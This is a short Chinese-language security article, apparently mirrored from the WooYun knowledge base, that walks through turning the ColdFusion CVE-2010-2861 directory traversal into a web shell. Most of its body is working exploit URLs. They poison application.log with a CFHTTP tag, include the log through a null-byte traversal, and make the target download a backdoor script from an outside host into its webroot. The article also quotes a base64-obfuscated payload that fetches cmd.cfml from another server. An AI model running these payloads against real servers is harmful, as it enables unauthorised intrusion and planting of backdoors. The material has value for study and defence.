作者:
mickey
·
2014/04/19 13:55
最近看老外的一篇文章說,CVE-2010-2861這個利用方法,只有看到過透過讀取password.properties裡的password欄位,破解SHA-1值登陸後臺,或者透過傳遞雜湊登陸後臺的,還沒見過能直接得到SHELL的。其實我以前和小夥伴討論過利用application.log本地包含CFM的方法,當時的利用方法是這樣的:
首先看看application.log有沒有在預設的目錄:
http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\logs\application.log%00en
然後訪問一個不存在的頁面,注意編碼問題,否則不成功的。
http://192.168.72.141:8500/%3CCFHTTP%20METHOD%3DGet%20URL%3D%23URL.u%23%20PATH%3D%23URL.p%23%20FILE%3D%23URL.f%23%3E.cfml
這時候就會把<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>
注入到application.log裡了,看下圖:
最後我們訪問
http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=................\ColdFusion8\logs\application.log%00en&u=http://10.18.180.20/dvwa/hackable/uploads/xl.txt&p=C:\ColdFusion8\wwwroot&f=shell.cfm
就會從10.18.180.20上把xl.txt的CF後門指令碼下載到目標機器的c:\ColdFusion8\wwwroot
目錄了。
我們看看老外用的方法:思路都是一樣的,就是他的payload選擇的是
<cfhttp method='get' url='#ToString(ToBinary('aHR0cDovLzE5Mi4xNjguMS45Nzo4MDAwL2NtZC5jZm1s'))#' path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfml'>
使用cfm的CFHTTP標籤執行一個HTTP請求來取得192.168.1.97:8000 WEB伺服器上的cmd.cfml檔案,ToString(ToBinary是為了做BASE64編碼,繞過一些字元的限制,比如/
下面說說此法的缺點:
1.不是通殺的方法,如果對方禁止對外的HTTP訪問,此法不行
2.如果安裝的時候是整合到IIS模式的,CF程式目錄放到其他磁碟機代號的話,是沒法使用../跨目錄的
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!